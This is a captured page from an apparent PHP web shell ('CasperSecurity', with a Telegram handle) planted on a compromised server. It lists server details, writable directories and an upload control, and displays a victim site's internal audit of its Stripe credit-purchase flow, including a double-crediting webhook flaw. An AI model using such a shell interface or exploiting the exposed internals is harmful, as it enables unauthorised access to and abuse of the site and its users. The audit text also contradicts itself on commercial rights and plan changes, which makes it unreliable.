T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/500_CREDITS_PURCHASE_AUDIT.md
# 500 Credits Membership Purchase - Audit & Analysis

**Date:** 2025-01-XX  
**Package:** Premium (500 Credits)  
**Price:** $129.00 USD  
**Status:** Ready for Purchase

---

## 📦 Package Details

- **Package ID:** `premium`
- **Package Name:** Premium
- **Credits:** 500 credits
- **Price:** $129.00 USD ($12,900 cents)
- **Stripe Price ID:** `price_premium_credits`
- **Expiration Period:** ❌ **NEVER EXPIRES** (credits are permanent)
- ⚠️ **REQUIREMENT:** User must have **active subscription** (minimum Essential $5/month) to purchase

---

## 🔄 Purchase Flow

### 1. **Checkout Process** (`checkout.php`)
- User adds Premium package to cart (`$_SESSION['credit_cart']`)
- User proceeds to checkout
- Payment processed via Stripe or PayPal

### 2. **Payment Processing** (`process_credit_payment.php`)
- ⚠️ **Subscription Validation:** Checks for active subscription before processing
- If no subscription → Returns error with subscription signup link
- Creates Stripe Payment Intent with metadata:
  ```php
  metadata: {
    user_id: <user_id>,
    package: 'premium',
    credits: 500,
    quantity: 1,
    subscription_period: '30_days'
  }
  ```
- Amount: $12,900 cents ($129.00)

### 3. **Webhook Handler** (`webhooks/stripe.php`)
- Stripe sends `payment_intent.succeeded` webhook
- Calls `handleSuccessfulPayment()` → `addCreditsToUser()`

---

## ✅ What Happens When Purchase Completes

### Database Changes

#### 1. **Users Table Update**
```sql
UPDATE users 
SET credits = credits + 500, 
    plan = 'premium'
WHERE id = <user_id>
```
**Impact:**
- ✅ Adds 500 credits to user's account
- ✅ Sets user plan to `'premium'`
- ✅ **Grants commercial rights** - Per terms: "Credits include commercial licensing rights"
- ✅ **Rights are permanent** - Per terms: "Rights are permanent - once content is created with credits, commercial rights do not expire"

#### 2. **Credit Purchases Table Insert**
```sql
INSERT INTO credit_purchases 
(user_id, package, credits, amount, payment_intent_id, expires_at, created_at) 
VALUES (<user_id>, 'premium', 500, 129.00, <payment_intent_id>, <expiration_date>, NOW())
```
**Impact:**
- ✅ Records purchase transaction
- ✅ Links to Stripe payment intent for reconciliation
- ✅ Stores expiration date

#### 3. **Transaction Logging**
- Logs to `/logs/user_credits.log`:
  ```json
  {
    "timestamp": "2025-01-XX XX:XX:XX",
    "action": "add_credits_to_user",
    "user_id": <user_id>,
    "credits_added": 500,
    "package": "premium",
    "plan_updated_to": "premium",
    "expiration_date": "2025-02-XX XX:XX:XX",
    "payment_intent_id": "pi_xxxxx",
    "status": "success"
  }
  ```

---

## ⚠️ Critical Behaviors & Expectations

### 1. **Subscription Requirement** ⚠️ **NEW**
- **REQUIRED:** User must have **active subscription** (minimum Essential $5/month) to purchase credits
- **Validation Points:**
  - ✅ Checkout page (`checkout.php`) - Redirects if no subscription
  - ✅ Payment processing (`process_credit_payment.php`) - Blocks payment if no subscription
  - ✅ JavaScript validation - Checks before payment processing
- **Error Handling:**
  - Shows clear error message: "Active subscription required"
  - Redirects to subscription page: `/account_settings.php?tab=subscription`
  - Provides subscription signup link

### 2. **Credit Expiration**
- **Premium Credits (500):** ❌ **NEVER EXPIRE** - Credits are permanent
- **Starter/Pro Credits:** ⏰ Expire in 30 days
- **Expiration Process:** Daily cron job (`cron/expire_credits.php`) - **EXCLUDES premium users**
- **What Happens on Expiration (Starter/Pro only):**
  - User's plan downgrades to `'free'`
  - **ALL credits are set to 0** (not just the purchased credits)
  - `commercial_rights_expires` is set to `subscription_expires`
  - User receives expiration email notification
- **Premium Credits:** Protected from expiration - user keeps them forever

### 2. **Plan Override Behavior**
⚠️ **IMPORTANT:** When purchasing the Premium package:
- User's plan is **overwritten** to `'premium'` (regardless of previous plan)
- If user had an active subscription plan, it will be replaced
- The `subscription_expires` field is set to 30 days from purchase

### 3. **Credit Accumulation**
- Credits are **ADDED** to existing balance (`credits = credits + 500`)
- If user already has credits, they accumulate
- Example: User with 50 credits + 500 purchase = 550 total credits

### 4. **Commercial Rights**
⚠️ **CRITICAL:** Credit packages (including Premium 500) do **NOT** grant commercial rights
- ✅ Users must maintain **active subscription** (minimum $5 Essential plan) to have commercial rights
- ❌ Premium 500 credits alone = **NO commercial rights**
- ✅ Commercial rights granted only when user has active subscription in `user_subscriptions` table
- ⚠️ When subscription expires, commercial rights are **revoked from all tracks**
- ✅ Rights persist while subscription is active
- ❌ No retroactive rights (per terms) - only new tracks get rights after resubscribing

---

## 🔍 Monitoring & Verification Points

### 1. **Immediate Verification (After Purchase)**

Check these logs/files:
- ✅ `/logs/stripe_webhooks.log` - Webhook received
- ✅ `/logs/stripe_actions.log` - Payment processing
- ✅ `/logs/user_credits.log` - Credit addition confirmation
- ✅ Database: `users` table - Verify credits and plan updated
- ✅ Database: `credit_purchases` table - Verify purchase record

### 2. **Database Queries to Run**

```sql
-- Verify user credits and plan
SELECT id, name, email, credits, plan, subscription_expires 
FROM users 
WHERE id = <user_id>;

-- Verify purchase record
SELECT * FROM credit_purchases 
WHERE user_id = <user_id> 
AND package = 'premium' 
ORDER BY created_at DESC 
LIMIT 1;

-- Check credit transaction history
SELECT * FROM credit_transactions 
WHERE user_id = <user_id> 
ORDER BY created_at DESC 
LIMIT 10;
```

### 3. **Expected Log Entries**

Look for these log entries:
1. `payment_intent.succeeded` in `stripe_webhooks.log`
2. `handleSuccessfulPayment` in `stripe_actions.log`
3. `add_credits_to_user` with `status: 'success'` in `user_credits.log`

---

## 🚨 Potential Issues to Watch For

### 1. **Subscription Requirement Blocking Purchases**
- **Risk:** Users without subscription cannot purchase credits
- **Mitigation:** Clear messaging and redirect to subscription page
- **Action:** Ensure subscription signup flow is smooth
- **Note:** This is intentional - subscription required for credit purchases

### 2. **Webhook Delivery Failures**
- **Risk:** Stripe webhook might not be received
- **Mitigation:** Check Stripe dashboard for webhook delivery status
- **Fallback:** Manual reconciliation via `auto_reconcile_purchases.php`

### 3. **Database Transaction Failures**
- **Risk:** Transaction might rollback if error occurs
- **Mitigation:** Check `/logs/user_credits_errors.log` for failures
- **Action:** Retry mechanism exists via `schedulePurchaseRetry()`

### 4. **Credit Expiration Timing**
- **Risk:** Credits expire exactly 30 days after purchase (not 30 days of usage)
- **Note:** This is by design - credits expire based on purchase date, not usage
- **Premium Credits:** Never expire (protected from expiration)

### 5. **Plan Conflicts**
- **Risk:** If user has active subscription, purchasing credit package will override subscription plan
- **Impact:** User's subscription plan will be replaced with `'premium'` plan
- **Note:** This might not be intended behavior if user has recurring subscription

### 6. **Double Processing**
- **Risk:** Webhook might be called twice (idempotency)
- **Mitigation:** Code checks for existing purchases, but credits are still added
- **Note:** If webhook fires twice, user gets 1000 credits instead of 500

---

## 📊 Financial Expectations

### Revenue
- **Amount:** $129.00 USD per purchase
- **Payment Method:** Stripe (primary) or PayPal
- **Processing Fee:** Stripe charges ~2.9% + $0.30 per transaction
- **Net Revenue:** ~$125.26 per purchase (after Stripe fees)

### Accounting Records
- Purchase recorded in `credit_purchases` table
- Linked to Stripe Payment Intent ID for reconciliation
- Amount stored: $129.00

---

## 🔐 Security Considerations

### 1. **Payment Verification**
- ✅ Webhook signature verified using Stripe webhook secret
- ✅ Payment intent metadata includes user_id for validation
- ✅ Database transactions ensure atomicity

### 2. **User Validation**
- ✅ User must be logged in to purchase
- ✅ User ID from session matched with payment metadata
- ✅ Credits added only after successful payment

### 3. **Idempotency**
- ⚠️ **Partial:** Code checks for existing purchases but still adds credits
- **Recommendation:** Add idempotency check to prevent duplicate credit additions

---

## 📝 Post-Purchase Checklist

After purchase completes, verify:

- [ ] User's credits increased by 500
- [ ] User's plan set to `'premium'`
- [ ] `subscription_expires` set to 30 days from now
- [ ] Record in `credit_purchases` table created
- [ ] Payment intent ID recorded correctly
- [ ] Log entries created in all relevant log files
- [ ] No errors in error logs
- [ ] User can see credits in their account
- [ ] User has access to premium features

---

## 🔄 Expiration Timeline

### Day 0 (Purchase)
- Credits: +500
- Plan: **Unchanged** (stays as-is)
- Commercial Rights: **NO** (requires active subscription)
- Expiration: **NEVER** (NULL in database for credits)

### Day 7, 30, 365+ (Any Time)
- ✅ **Credits remain active** - Premium credits never expire
- ⚠️ **Commercial rights** - Only if user has active subscription
- ❌ **If subscription expires** - Commercial rights revoked from all tracks
- ✅ **Credits persist forever** - User keeps all 500 credits indefinitely
- ⚠️ **To use credits commercially** - User must maintain subscription (minimum $5 Essential)

---

## 📞 Support Scenarios

### User Reports Missing Credits
1. Check `user_credits.log` for purchase confirmation
2. Verify Stripe payment intent status
3. Check database for purchase record
4. Review webhook logs for delivery issues
5. Use `auto_reconcile_purchases.php` if needed

### User Reports Wrong Plan
1. Check `users.plan` field
2. Verify `subscription_expires` date
3. Check if user has active subscription that might conflict
4. Review purchase metadata in Stripe dashboard

### Credits Expired Prematurely
1. Check `subscription_expires` date in database
2. Verify cron job execution logs
3. Check `credit_expirations.log` for expiration events
4. Verify timezone settings (UTC used in cron)

---

## 🎯 Key Takeaways

1. ⚠️ **Active subscription REQUIRED** (minimum Essential $5/month) to purchase credits
2. **500 credits** are added immediately upon successful payment
3. **Plan is set to `premium`** (overwrites existing plan)
4. **Premium credits NEVER expire** - User keeps them forever
5. **Commercial rights granted** - Per terms: "Credits include commercial licensing rights"
6. **Rights are permanent** - Per terms: "Rights are permanent - once content is created with credits, commercial rights do not expire"
7. **Purchase is logged** in multiple places for audit trail
8. **Webhook-based** processing ensures reliability
9. **Subscription validation** at checkout and payment processing
10. **Plan override** behavior may conflict with active subscriptions

---

## 📚 Related Files

- `/checkout.php` - Checkout page
- `/process_credit_payment.php` - Payment processing
- `/webhooks/stripe.php` - Webhook handler
- `/cron/expire_credits.php` - Credit expiration cron
- `/auto_reconcile_purchases.php` - Manual reconciliation tool
- `/logs/user_credits.log` - Credit addition logs
- `/logs/stripe_webhooks.log` - Webhook delivery logs
- `/logs/stripe_actions.log` - Payment processing logs

---

**Last Updated:** 2025-01-XX  
**Audit Status:** ✅ Complete - Ready for Purchase Monitoring

CasperSecurity Mini